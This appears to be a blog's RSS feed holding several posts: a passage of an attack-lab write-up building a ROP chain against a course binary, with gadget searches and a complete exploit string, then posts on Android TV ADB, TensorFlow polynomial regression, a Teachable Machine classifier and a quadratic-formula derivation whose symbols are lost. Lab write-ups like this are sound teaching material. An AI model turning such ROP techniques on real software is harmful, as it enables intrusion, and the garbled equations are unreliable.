The way a normal person would find the hex representation 58 to be between start_farm and end_farm is to find the line numbers for both and then search between those lines. But, what if you don't want to move away from the terminal?

Assuming, the disassembled code for rtarget is stored in dis2.txt (objdump -d rtarget > dis2.txt)

jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 " 58"
16-000000000040281f <getval_373>:
17-  40281f:    f3 0f 1e fa             endbr64 
18:  402823:    b8 d3 f5 c2 58          mov    $0x58c2f5d3,%eax
19-  402828:    c3                      ret    
20-
--
26-0000000000402834 <setval_212>:
27-  402834:    f3 0f 1e fa             endbr64 
28:  402838:    c7 07 58 90 c3 92       movl   $0x92c39058,(%rdi)
29-  40283e:    c3                      ret    
30-
--
41-0000000000402854 <setval_479>:
42-  402854:    f3 0f 1e fa             endbr64 
43:  402858:    c7 07 58 c7 7f 61       movl   $0x617fc758,(%rdi)
44-  40285e:    c3                      ret    
45-

If we were to pick the first one as our gadget, the instruction address is 0x402823, but to get to the instruction 58 we need to add 4 bytes:

=> Gadget address = 0x402823 + 0x4 = 0x402827

The PDF already provides the next gadget we are supposed to look for 48 89 c7

jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ sed -n '/start_farm/,/end_farm/p' dis2.txt | grep -n2 "48 89 c7"
11-0000000000402814 <setval_253>:
12-  402814:    f3 0f 1e fa             endbr64 
13:  402818:    c7 07 48 89 c7 94       movl   $0x94c78948,(%rdi)
14-  40281e:    c3                      ret    
15-
--
31-000000000040283f <getval_424>:
32-  40283f:    f3 0f 1e fa             endbr64 
33:  402843:    b8 48 89 c7 c3          mov    $0xc3c78948,%eax
34-  402848:    c3                      ret    
35-
36-0000000000402849 <setval_417>:
37-  402849:    f3 0f 1e fa             endbr64 
38:  40284d:    c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
39-  402853:    c3                      ret    
40-
jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ 

We cannot use the first match because it is followed by 0x94 instead of c3, either of the next two matches will work (0x90 is nop and it does nothing but increment the program counter by 1)

Again, we have to account for the offset.

Taking 0x402843 we need to add just 1 byte.

=> 0x402843 + 1 = 0x402844

Our answer for this file is going to be:

padding
gadget1
cookie
gadget2
touch2
jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ cat dis2.txt | grep touch2
000000000040264e <touch2>:
  402666:       74 2a                   je     402692 <touch2+0x44>
  4026b2:       eb d4                   jmp    402688 <touch2+0x3a>
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
27 28 40 00 00 00 00 00
8f ee 8d 3e 00 00 00 00
44 28 40 00 00 00 00 00
4e 26 40 00 00 00 00 00
jovyan@jupyter-nach6988:~/lab3-attacklab-navanchauhan/target66$ ./hex2raw < ./rtarget.l2.txt | ./rtarget 
Cookie: 0x3e8dee8f
Type string:Touch2!: You called touch2(0x3e8dee8f)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
]]>
https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html Tinkering with an Android TV Tinkering with an Android TV https://web.navan.dev/posts/2020-03-03-Playing-With-Android-TV.html Tue, 03 Mar 2020 18:37:00 -0000 Tinkering with an Android TV

So I have an Android TV, this posts covers everything I have tried on it

Contents

  1. Getting TV's IP Address
  2. Enable Developer Settings
  3. Enable ADB
  4. Connect ADB
  5. Manipulating Packages

IP-Address

These steps should be similar for all Android-TVs

  • Go To Settings
  • Go to Network
  • Advanced Settings
  • Network Status
  • Note Down IP-Address

The other option is to go to your router's server page and get connected devices

Developer-Settings

  • Go To Settings
  • About
  • Continuously click on the "Build" option until it says "You are a Developer"

Enable-ADB

  • Go to Settings
  • Go to Developer Options
  • Scroll until you find ADB Debugging and enable that option

Connect-ADB

  • Open Terminal (Make sure you have ADB installed)
  • Enter the following command adb connect <IP_ADDRESS>
  • To test the connection run adb logcat

Manipulating Apps / Packages

Listing Packages

  • adb shell
  • pm list packages

Installing Packages

  • adb install -r package.apk

Uninstalling Packages

  • adb uninstall com.company.yourpackagename
]]>
https://web.navan.dev/posts/2019-12-16-TensorFlow-Polynomial-Regression.html Polynomial Regression Using TensorFlow Polynomial regression using TensorFlow https://web.navan.dev/posts/2019-12-16-TensorFlow-Polynomial-Regression.html Mon, 16 Dec 2019 14:16:00 -0000 Polynomial Regression Using TensorFlow

In this tutorial you will learn about polynomial regression and how you can implement it in Tensorflow.

In this, we will be performing polynomial regression using 5 types of equations -

  • Linear
  • Quadratic
  • Cubic
  • Quartic
  • Quintic

Regression

What is Regression?

Regression is a statistical measurement that is used to try to determine the relationship between a dependent variable (often denoted by Y), and series of varying variables (called independent variables, often denoted by X ).

What is Polynomial Regression

This is a form of Regression Analysis where the relationship between Y and X is denoted as the nth degree/power of X. Polynomial regression even fits a non-linear relationship (e.g when the points don't form a straight line).

Imports

import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
import matplotlib.pyplot as plt
import numpy as np
import pandas as pd

Dataset

Creating Random Data

Even though in this tutorial we will use a Position Vs Salary dataset, it is important to know how to create synthetic data

To create 50 values spaced evenly between 0 and 50, we use NumPy's linspace function

linspace(lower_limit, upper_limit, no_of_observations)

x = np.linspace(0, 50, 50)
y = np.linspace(0, 50, 50)

We use the following function to add noise to the data, so that our values

x += np.random.uniform(-4, 4, 50)
y += np.random.uniform(-4, 4, 50)

Position vs Salary Dataset

We will be using https://drive.google.com/file/d/1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9/view (Salary vs Position Dataset)

!wget --no-check-certificate 'https://docs.google.com/uc?export=download&id=1tNL4jxZEfpaP4oflfSn6pIHJX7Pachm9' -O data.csv
df = pd.read_csv("data.csv")
df # this gives us a preview of the dataset we are working with
| Position          | Level | Salary  |
|-------------------|-------|---------|
| Business Analyst  | 1     | 45000   |
| Junior Consultant | 2     | 50000   |
| Senior Consultant | 3     | 60000   |
| Manager           | 4     | 80000   |
| Country Manager   | 5     | 110000  |
| Region Manager    | 6     | 150000  |
| Partner           | 7     | 200000  |
| Senior Partner    | 8     | 300000  |
| C-level           | 9     | 500000  |
| CEO               | 10    | 1000000 |

We convert the salary column as the ordinate (y-coordinate) and level column as the abscissa

abscissa = df["Level"].to_list() # abscissa = [1,2,3,4,5,6,7,8,9,10]
ordinate = df["Salary"].to_list() # ordinate = [45000,50000,60000,80000,110000,150000,200000,300000,500000,1000000]
n = len(abscissa) # no of observations
plt.scatter(abscissa, ordinate)
plt.ylabel('Salary')
plt.xlabel('Position')
plt.title("Salary vs Position")
plt.show()

Defining Stuff

X = tf.placeholder("float")
Y = tf.placeholder("float")

Defining Variables

We first define all the coefficients and constant as tensorflow variables having a random initial value

a = tf.Variable(np.random.randn(), name = "a")
b = tf.Variable(np.random.randn(), name = "b")
c = tf.Variable(np.random.randn(), name = "c")
d = tf.Variable(np.random.randn(), name = "d")
e = tf.Variable(np.random.randn(), name = "e")
f = tf.Variable(np.random.randn(), name = "f")

Model Configuration

learning_rate = 0.2
no_of_epochs = 25000

Equations

deg1 = a*X + b
deg2 = a*tf.pow(X,2) + b*X + c
deg3 = a*tf.pow(X,3) + b*tf.pow(X,2) + c*X + d
deg4 = a*tf.pow(X,4) + b*tf.pow(X,3) + c*tf.pow(X,2) + d*X + e
deg5 = a*tf.pow(X,5) + b*tf.pow(X,4) + c*tf.pow(X,3) + d*tf.pow(X,2) + e*X + f

Cost Function

We use the Mean Squared Error Function

mse1 = tf.reduce_sum(tf.pow(deg1-Y,2))/(2*n)
mse2 = tf.reduce_sum(tf.pow(deg2-Y,2))/(2*n)
mse3 = tf.reduce_sum(tf.pow(deg3-Y,2))/(2*n)
mse4 = tf.reduce_sum(tf.pow(deg4-Y,2))/(2*n)
mse5 = tf.reduce_sum(tf.pow(deg5-Y,2))/(2*n)

Optimizer

We use the AdamOptimizer for the polynomial functions and GradientDescentOptimizer for the linear function

optimizer1 = tf.train.GradientDescentOptimizer(learning_rate).minimize(mse1)
optimizer2 = tf.train.AdamOptimizer(learning_rate).minimize(mse2)
optimizer3 = tf.train.AdamOptimizer(learning_rate).minimize(mse3)
optimizer4 = tf.train.AdamOptimizer(learning_rate).minimize(mse4)
optimizer5 = tf.train.AdamOptimizer(learning_rate).minimize(mse5)
init=tf.global_variables_initializer()

Model Predictions

For each type of equation first we make the model predict the values of the coefficient(s) and constant, once we get these values we use it to predict the Y values using the X values. We then plot it to compare the actual data and predicted line.

Linear Equation

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer1, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse1,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b:",sess.run(a),sess.run(b))

        training_cost = sess.run(mse1,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        constant = sess.run(b)

print(training_cost, coefficient1, constant)
Epoch 1000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 2000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 3000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 4000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 5000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 6000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 7000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 8000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 9000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 10000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 11000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 12000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 13000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 14000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 15000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 16000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 17000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 18000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 19000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 20000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 21000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 22000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 23000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 24000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
Epoch 25000 : Training Cost: 88999125000.0  a,b: 180396.42 -478869.12
88999125000.0 180396.42 -478869.12
predictions = []
for x in abscissa:
  predictions.append((coefficient1*x + constant))
plt.plot(abscissa , ordinate, 'ro', label ='Original data')
plt.plot(abscissa, predictions, label ='Fitted line')
plt.title('Linear Regression Result')
plt.legend()
plt.show()

Quadratic Equation

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer2, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse2,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b,c:",sess.run(a),sess.run(b),sess.run(c))

        training_cost = sess.run(mse2,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        coefficient2 = sess.run(b)
        constant = sess.run(c)

print(training_cost, coefficient1, coefficient2, constant)
Epoch 1000 : Training Cost: 52571360000.0  a,b,c: 1002.4456 1097.0197 1276.6921
Epoch 2000 : Training Cost: 37798890000.0  a,b,c: 1952.4263 2130.2825 2469.7756
Epoch 3000 : Training Cost: 26751185000.0  a,b,c: 2839.5825 3081.6118 3554.351
Epoch 4000 : Training Cost: 19020106000.0  a,b,c: 3644.56 3922.9563 4486.3135
Epoch 5000 : Training Cost: 14060446000.0  a,b,c: 4345.042 4621.4233 5212.693
Epoch 6000 : Training Cost: 11201084000.0  a,b,c: 4921.1855 5148.1504 5689.0713
Epoch 7000 : Training Cost: 9732740000.0  a,b,c: 5364.764 5493.0156 5906.754
Epoch 8000 : Training Cost: 9050918000.0  a,b,c: 5685.4067 5673.182 5902.0728
Epoch 9000 : Training Cost: 8750394000.0  a,b,c: 5906.9814 5724.8906 5734.746
Epoch 10000 : Training Cost: 8613128000.0  a,b,c: 6057.3677 5687.3364 5461.167
Epoch 11000 : Training Cost: 8540034600.0  a,b,c: 6160.547 5592.3022 5122.8633
Epoch 12000 : Training Cost: 8490983000.0  a,b,c: 6233.9175 5462.025 4747.111
Epoch 13000 : Training Cost: 8450816500.0  a,b,c: 6289.048 5310.7583 4350.6997
Epoch 14000 : Training Cost: 8414082000.0  a,b,c: 6333.199 5147.394 3943.9294
Epoch 15000 : Training Cost: 8378841600.0  a,b,c: 6370.7944 4977.1704 3532.476
Epoch 16000 : Training Cost: 8344471000.0  a,b,c: 6404.468 4803.542 3120.2087
Epoch 17000 : Training Cost: 8310785500.0  a,b,c: 6435.365 4628.1523 2709.1445
Epoch 18000 : Training Cost: 8277482000.0  a,b,c: 6465.5493 4451.833 2300.2783
Epoch 19000 : Training Cost: 8244650000.0  a,b,c: 6494.609 4274.826 1894.3738
Epoch 20000 : Training Cost: 8212349000.0  a,b,c: 6522.8247 4098.1733 1491.9915
Epoch 21000 : Training Cost: 8180598300.0  a,b,c: 6550.6567 3922.7405 1093.3868
Epoch 22000 : Training Cost: 8149257700.0  a,b,c: 6578.489 3747.8362 698.53357
Epoch 23000 : Training Cost: 8118325000.0  a,b,c: 6606.1973 3573.2742 307.3541
Epoch 24000 : Training Cost: 8088001000.0  a,b,c: 6632.96 3399.878 -79.89219
Epoch 25000 : Training Cost: 8058094600.0  a,b,c: 6659.793 3227.2517 -463.03156
8058094600.0 6659.793 3227.2517 -463.03156
predictions = []
for x in abscissa:
  predictions.append((coefficient1*pow(x,2) + coefficient2*x + constant))
plt.plot(abscissa , ordinate, 'ro', label ='Original data')
plt.plot(abscissa, predictions, label ='Fitted line')
plt.title('Quadratic Regression Result')
plt.legend()
plt.show()

Cubic

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer3, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse3,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b,c,d:",sess.run(a),sess.run(b),sess.run(c),sess.run(d))

        training_cost = sess.run(mse3,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        coefficient2 = sess.run(b)
        coefficient3 = sess.run(c)
        constant = sess.run(d)

print(training_cost, coefficient1, coefficient2, coefficient3, constant)
Epoch 1000 : Training Cost: 4279814000.0  a,b,c,d: 670.1527 694.4212 751.4653 903.9527
Epoch 2000 : Training Cost: 3770950400.0  a,b,c,d: 742.6414 666.3489 636.94525 859.2088
Epoch 3000 : Training Cost: 3717708300.0  a,b,c,d: 756.2582 569.3339 448.105 748.23956
Epoch 4000 : Training Cost: 3667464000.0  a,b,c,d: 769.4476 474.0318 265.5761 654.75525
Epoch 5000 : Training Cost: 3620040700.0  a,b,c,d: 782.32324 380.54272 89.39888 578.5136
Epoch 6000 : Training Cost: 3575265800.0  a,b,c,d: 794.8898 288.83356 -80.5215 519.13654
Epoch 7000 : Training Cost: 3532972000.0  a,b,c,d: 807.1608 198.87044 -244.31102 476.2061
Epoch 8000 : Training Cost: 3493009200.0  a,b,c,d: 819.13513 110.64169 -402.0677 449.3291
Epoch 9000 : Training Cost: 3455228400.0  a,b,c,d: 830.80255 24.0964 -553.92804 438.0652
Epoch 10000 : Training Cost: 3419475500.0  a,b,c,d: 842.21594 -60.797424 -700.0123 441.983
Epoch 11000 : Training Cost: 3385625300.0  a,b,c,d: 853.3363 -144.08699 -840.467 460.6356
Epoch 12000 : Training Cost: 3353544700.0  a,b,c,d: 864.19135 -225.8125 -975.4196 493.57703
Epoch 13000 : Training Cost: 3323125000.0  a,b,c,d: 874.778 -305.98932 -1104.9867 540.39465
Epoch 14000 : Training Cost: 3294257000.0  a,b,c,d: 885.1007 -384.63474 -1229.277 600.65607
Epoch 15000 : Training Cost: 3266820000.0  a,b,c,d: 895.18823 -461.819 -1348.4417 673.9051
Epoch 16000 : Training Cost: 3240736000.0  a,b,c,d: 905.0128 -537.541 -1462.6171 759.7118
Epoch 17000 : Training Cost: 3215895000.0  a,b,c,d: 914.60065 -611.8676 -1571.9058 857.6638
Epoch 18000 : Training Cost: 3192216800.0  a,b,c,d: 923.9603 -684.8093 -1676.4642 967.30475
Epoch 19000 : Training Cost: 3169632300.0  a,b,c,d: 933.08594 -756.3582 -1776.4275 1088.2198
Epoch 20000 : Training Cost: 3148046300.0  a,b,c,d: 941.9928 -826.6257 -1871.9355 1219.9702
Epoch 21000 : Training Cost: 3127394800.0  a,b,c,d: 950.67896 -895.6205 -1963.0989 1362.1665
Epoch 22000 : Training Cost: 3107608600.0  a,b,c,d: 959.1487 -963.38116 -2050.0586 1514.4026
Epoch 23000 : Training Cost: 3088618200.0  a,b,c,d: 967.4355 -1029.9625 -2132.961 1676.2717
Epoch 24000 : Training Cost: 3070361300.0  a,b,c,d: 975.52875 -1095.4292 -2211.854 1847.4485
Epoch 25000 : Training Cost: 3052791300.0  a,b,c,d: 983.4346 -1159.7922 -2286.9412 2027.4857
3052791300.0 983.4346 -1159.7922 -2286.9412 2027.4857
predictions = []
for x in abscissa:
  predictions.append((coefficient1*pow(x,3) + coefficient2*pow(x,2) + coefficient3*x + constant))
plt.plot(abscissa , ordinate, 'ro', label ='Original data')
plt.plot(abscissa, predictions, label ='Fitted line')
plt.title('Cubic Regression Result')
plt.legend()
plt.show()

Quartic

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer4, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse4,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b,c,d:",sess.run(a),sess.run(b),sess.run(c),sess.run(d),sess.run(e))

        training_cost = sess.run(mse4,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        coefficient2 = sess.run(b)
        coefficient3 = sess.run(c)
        coefficient4 = sess.run(d)
        constant = sess.run(e)

print(training_cost, coefficient1, coefficient2, coefficient3, coefficient4, constant)
Epoch 1000 : Training Cost: 1902632600.0  a,b,c,d: 84.48304 52.210594 54.791424 142.51952 512.0343
Epoch 2000 : Training Cost: 1854316200.0  a,b,c,d: 88.998955 13.073557 14.276088 223.55667 1056.4655
Epoch 3000 : Training Cost: 1812812400.0  a,b,c,d: 92.9462 -22.331177 -15.262934 327.41858 1634.9054
Epoch 4000 : Training Cost: 1775716000.0  a,b,c,d: 96.42522 -54.64535 -35.829437 449.5028 2239.1392
Epoch 5000 : Training Cost: 1741494100.0  a,b,c,d: 99.524734 -84.43976 -49.181057 585.85876 2862.4915
Epoch 6000 : Training Cost: 1709199600.0  a,b,c,d: 102.31984 -112.19895 -56.808075 733.1876 3499.6199
Epoch 7000 : Training Cost: 1678261800.0  a,b,c,d: 104.87324 -138.32709 -59.9442 888.79626 4146.2944
Epoch 8000 : Training Cost: 1648340600.0  a,b,c,d: 107.23536 -163.15173 -59.58964 1050.524 4798.979
Epoch 9000 : Training Cost: 1619243400.0  a,b,c,d: 109.44742 -186.9409 -56.53944 1216.6432 5454.9463
Epoch 10000 : Training Cost: 1590821900.0  a,b,c,d: 111.54233 -209.91287 -51.423084 1385.8513 6113.5137
Epoch 11000 : Training Cost: 1563042200.0  a,b,c,d: 113.54405 -232.21953 -44.73371 1557.1084 6771.7046
Epoch 12000 : Training Cost: 1535855600.0  a,b,c,d: 115.471565 -253.9838 -36.851135 1729.535 7429.069
Epoch 13000 : Training Cost: 1509255300.0  a,b,c,d: 117.33939 -275.29697 -28.0714 1902.5308 8083.9634
Epoch 14000 : Training Cost: 1483227000.0  a,b,c,d: 119.1605 -296.2472 -18.618649 2075.6094 8735.381
Epoch 15000 : Training Cost: 1457726700.0  a,b,c,d: 120.94584 -316.915 -8.650095 2248.3247 9384.197
Epoch 16000 : Training Cost: 1432777300.0  a,b,c,d: 122.69806 -337.30704 1.7027153 2420.5771 10028.871
Epoch 17000 : Training Cost: 1408365000.0  a,b,c,d: 124.42179 -357.45245 12.33499 2592.2983 10669.157
Epoch 18000 : Training Cost: 1384480000.0  a,b,c,d: 126.12332 -377.39734 23.168756 2763.0933 11305.027
Epoch 19000 : Training Cost: 1361116800.0  a,b,c,d: 127.80568 -397.16415 34.160156 2933.0452 11935.669
Epoch 20000 : Training Cost: 1338288100.0  a,b,c,d: 129.4674 -416.72803 45.259155 3101.7727 12561.179
Epoch 21000 : Training Cost: 1315959700.0  a,b,c,d: 131.11403 -436.14285 56.4436 3269.3142 13182.058
Epoch 22000 : Training Cost: 1294164700.0  a,b,c,d: 132.74377 -455.3779 67.6757 3435.3833 13796.807
Epoch 23000 : Training Cost: 1272863600.0  a,b,c,d: 134.35779 -474.45316 78.96117 3600.264 14406.58
Epoch 24000 : Training Cost: 1252052600.0  a,b,c,d: 135.9583 -493.38254 90.268616 3764.0078 15010.481
Epoch 25000 : Training Cost: 1231713700.0  a,b,c,d: 137.54753 -512.1876 101.59372 3926.4897 15609.368
1231713700.0 137.54753 -512.1876 101.59372 3926.4897 15609.368
predictions = []
for x in abscissa:
  predictions.append((coefficient1*pow(x,4) + coefficient2*pow(x,3) + coefficient3*pow(x,2) + coefficient4*x + constant))
plt.plot(abscissa , ordinate, 'ro', label ='Original data')
plt.plot(abscissa, predictions, label ='Fitted line')
plt.title('Quartic Regression Result')
plt.legend()
plt.show()

Quintic

with tf.Session() as sess:
    sess.run(init)
    for epoch in range(no_of_epochs):
      for (x,y) in zip(abscissa, ordinate):
        sess.run(optimizer5, feed_dict={X:x, Y:y})
      if (epoch+1)%1000==0:
        cost = sess.run(mse5,feed_dict={X:abscissa,Y:ordinate})
        print("Epoch",(epoch+1), ": Training Cost:", cost," a,b,c,d,e,f:",sess.run(a),sess.run(b),sess.run(c),sess.run(d),sess.run(e),sess.run(f))

        training_cost = sess.run(mse5,feed_dict={X:abscissa,Y:ordinate})
        coefficient1 = sess.run(a)
        coefficient2 = sess.run(b)
        coefficient3 = sess.run(c)
        coefficient4 = sess.run(d)
        coefficient5 = sess.run(e)
        constant = sess.run(f)
Epoch 1000 : Training Cost: 1409200100.0  a,b,c,d,e,f: 7.949472 7.46219 55.626034 184.29028 484.00223 1024.0083
Epoch 2000 : Training Cost: 1306882400.0  a,b,c,d,e,f: 8.732181 -4.0085897 73.25298 315.90103 904.08887 2004.9749
Epoch 3000 : Training Cost: 1212606000.0  a,b,c,d,e,f: 9.732249 -16.90125 86.28379 437.06552 1305.055 2966.2188
Epoch 4000 : Training Cost: 1123640400.0  a,b,c,d,e,f: 10.74851 -29.82692 98.59997 555.331 1698.4631 3917.9155
Epoch 5000 : Training Cost: 1039694300.0  a,b,c,d,e,f: 11.75426 -42.598194 110.698326 671.64355 2085.5513 4860.8535
Epoch 6000 : Training Cost: 960663550.0  a,b,c,d,e,f: 12.745439 -55.18337 122.644936 786.00214 2466.1638 5794.3735
Epoch 7000 : Training Cost: 886438340.0  a,b,c,d,e,f: 13.721028 -67.57168 134.43822 898.3691 2839.9958 6717.659
Epoch 8000 : Training Cost: 816913100.0  a,b,c,d,e,f: 14.679965 -79.75113 146.07385 1008.66895 3206.6692 7629.812
Epoch 9000 : Training Cost: 751971500.0  a,b,c,d,e,f: 15.62181 -91.71608 157.55713 1116.7715 3565.8323 8529.976
Epoch 10000 : Training Cost: 691508740.0  a,b,c,d,e,f: 16.545347 -103.4531 168.88321 1222.6348 3916.9785 9416.236
Epoch 11000 : Training Cost: 635382000.0  a,b,c,d,e,f: 17.450052 -114.954254 180.03932 1326.1565 4259.842 10287.99
Epoch 12000 : Training Cost: 583477250.0  a,b,c,d,e,f: 18.334944 -126.20821 191.02948 1427.2095 4593.8 11143.449
Epoch 13000 : Training Cost: 535640400.0  a,b,c,d,e,f: 19.198917 -137.20206 201.84718 1525.6926 4918.5327 11981.633
Epoch 14000 : Training Cost: 491722240.0  a,b,c,d,e,f: 20.041153 -147.92719 212.49709 1621.5496 5233.627 12800.468
Epoch 15000 : Training Cost: 451559520.0  a,b,c,d,e,f: 20.860966 -158.37456 222.97133 1714.7141 5538.676 13598.337
Epoch 16000 : Training Cost: 414988960.0  a,b,c,d,e,f: 21.657421 -168.53406 233.27422 1805.0874 5833.1978 14373.658
Epoch 17000 : Training Cost: 381837920.0  a,b,c,d,e,f: 22.429693 -178.39536 243.39914 1892.5883 6116.847 15124.394
Epoch 18000 : Training Cost: 351931300.0  a,b,c,d,e,f: 23.176882 -187.94789 253.3445 1977.137 6389.117 15848.417
Epoch 19000 : Training Cost: 325074400.0  a,b,c,d,e,f: 23.898485 -197.18741 263.12512 2058.6716 6649.8037 16543.95
Epoch 20000 : Training Cost: 301073570.0  a,b,c,d,e,f: 24.593851 -206.10497 272.72385 2137.1797 6898.544 17209.367
Epoch 21000 : Training Cost: 279727000.0  a,b,c,d,e,f: 25.262104 -214.69217 282.14642 2212.6372 7135.217 17842.854
Epoch 22000 : Training Cost: 260845550.0  a,b,c,d,e,f: 25.903376 -222.94969 291.4003 2284.9844 7359.4644 18442.408
Epoch 23000 : Training Cost: 244218030.0  a,b,c,d,e,f: 26.517094 -230.8697 300.45532 2354.3003 7571.261 19007.49
Epoch 24000 : Training Cost: 229660080.0  a,b,c,d,e,f: 27.102589 -238.44817 309.35342 2420.4185 7770.5728 19536.19
Epoch 25000 : Training Cost: 216972400.0  a,b,c,d,e,f: 27.660324 -245.69016 318.10062 2483.3608 7957.354 20027.707
216972400.0 27.660324 -245.69016 318.10062 2483.3608 7957.354 20027.707
predictions = []
for x in abscissa:
  predictions.append((coefficient1*pow(x,5) + coefficient2*pow(x,4) + coefficient3*pow(x,3) + coefficient4*pow(x,2) + coefficient5*x + constant))
plt.plot(abscissa , ordinate, 'ro', label ='Original data')
plt.plot(abscissa, predictions, label ='Fitted line')
plt.title('Quintic Regression Result')
plt.legend()
plt.show()

Results and Conclusion

You just learnt Polynomial Regression using TensorFlow!

Notes

Overfitting

Overfitting refers to a model that models the training data too well. Overfitting happens when a model learns the detail and noise in the training data to the extent that it negatively impacts the performance of the model on new data. This means that the noise or random fluctuations in the training data is picked up and learned as concepts by the model. The problem is that these concepts do not apply to new data and negatively impact the models ability to generalise.

Source: Machine Learning Mastery

Basically if you train your machine learning model on a small dataset for a really large number of epochs, the model will learn all the deformities/noise in the data and will actually think that it is a normal part. Therefore when it will see some new data, it will discard that new data as noise and will impact the accuracy of the model in a negative manner

]]>
https://web.navan.dev/posts/2019-12-04-Google-Teachable-Machines.html Image Classifier With Teachable Machines Tutorial on creating a custom image classifier quickly with Google Teachable Machines https://web.navan.dev/posts/2019-12-04-Google-Teachable-Machines.html Wed, 04 Dec 2019 18:23:00 -0000 Image Classifier With Teachable Machines

Made for Google Code-In

Task Description

Using Glitch and the Teachable Machines, build a Book Detector with Tensorflow.js. When a book is recognized, the code would randomly suggest a book/tell a famous quote from a book. Here is an example Project to get you started: https://glitch.com/~voltaic-acorn

Details

1) Collecting Data

Teachable Machine allows you to create your dataset just by using your webcam! I created a database consisting of three classes ( Three Books ) and approximately grabbed 100 pictures for each book/class

2) Training

Training on teachable machines is as simple as clicking the train button. I did not even have to modify any configurations.

3) Finding Labels

Because I originally entered the entire name of the book and it's author's name as the label, the class name got truncated (Note to self, use shorter class names :p ). I then modified the code to print the modified label names in an alert box.

4) Adding a suggestions function

I first added a text field on the main page and then modified the JavaScript file to suggest a similar book whenever the model predicted with an accuracy >= 98%

5) Running!

Here it is running!

Remix this project:-

https://luminous-opinion.glitch.me

]]>
https://web.navan.dev/posts/2024-03-26-Derivation-of-the-Quadratic-Equation.html Quadratic Formula Derivation Quick derivation of the quadratic equation by completing the square https://web.navan.dev/posts/2024-03-26-Derivation-of-the-Quadratic-Equation.html Tue, 26 Mar 2024 15:36:00 -0000 Quadratic Formula Derivation

The standard form of a quadratic equation is:

ax2+bx+c=0

Here, a,b,c, and a0

We begin by first dividing both sides by the coefficient a

x2+bax+ca=0

We can rearrange the equation:

x2+bax=ca

We can then use the method of completing the square. (Maths is Fun has a really good explanation for this technique)

x2+bax+(b2a)2=ca+(b2a)2

On our LHS, we can clearly recognize that it is the expanded form of (x+d)2 i.e x2+2x·d+d2

(x+b2a)2=ca+b24a2=4ac+b24a2

Taking the square root of both sides

x+b2a=4ac+b22ax=±4ac+b2b2a=b±b24ac2a

This gives you the world famous quadratic formula:

x=b±b24ac2a ]]>
https://web.navan.dev/posts/2022-08-05-Why-You-No-Host.html Why You No Host? Why you should self-host with YunoHost https://web.navan.dev/posts/2022-08-05-Why-You-No-Host.html Fri, 05 Aug 2022 14:46:00 -0000 Why You No Host?

With all these data leaks happening every other day, why have you not started self-hosting?

The title refers to the “Y U No Host” internet meme, which led to the name of “YunoHost”, an operating system aiming to democratise self-hosting. This post tries to discuss the idea that anyone can self-host and why you should consider YunoHost.

Should you Self-Host?

These are just some of the reasons to self-host.

What if you don’t know anything?
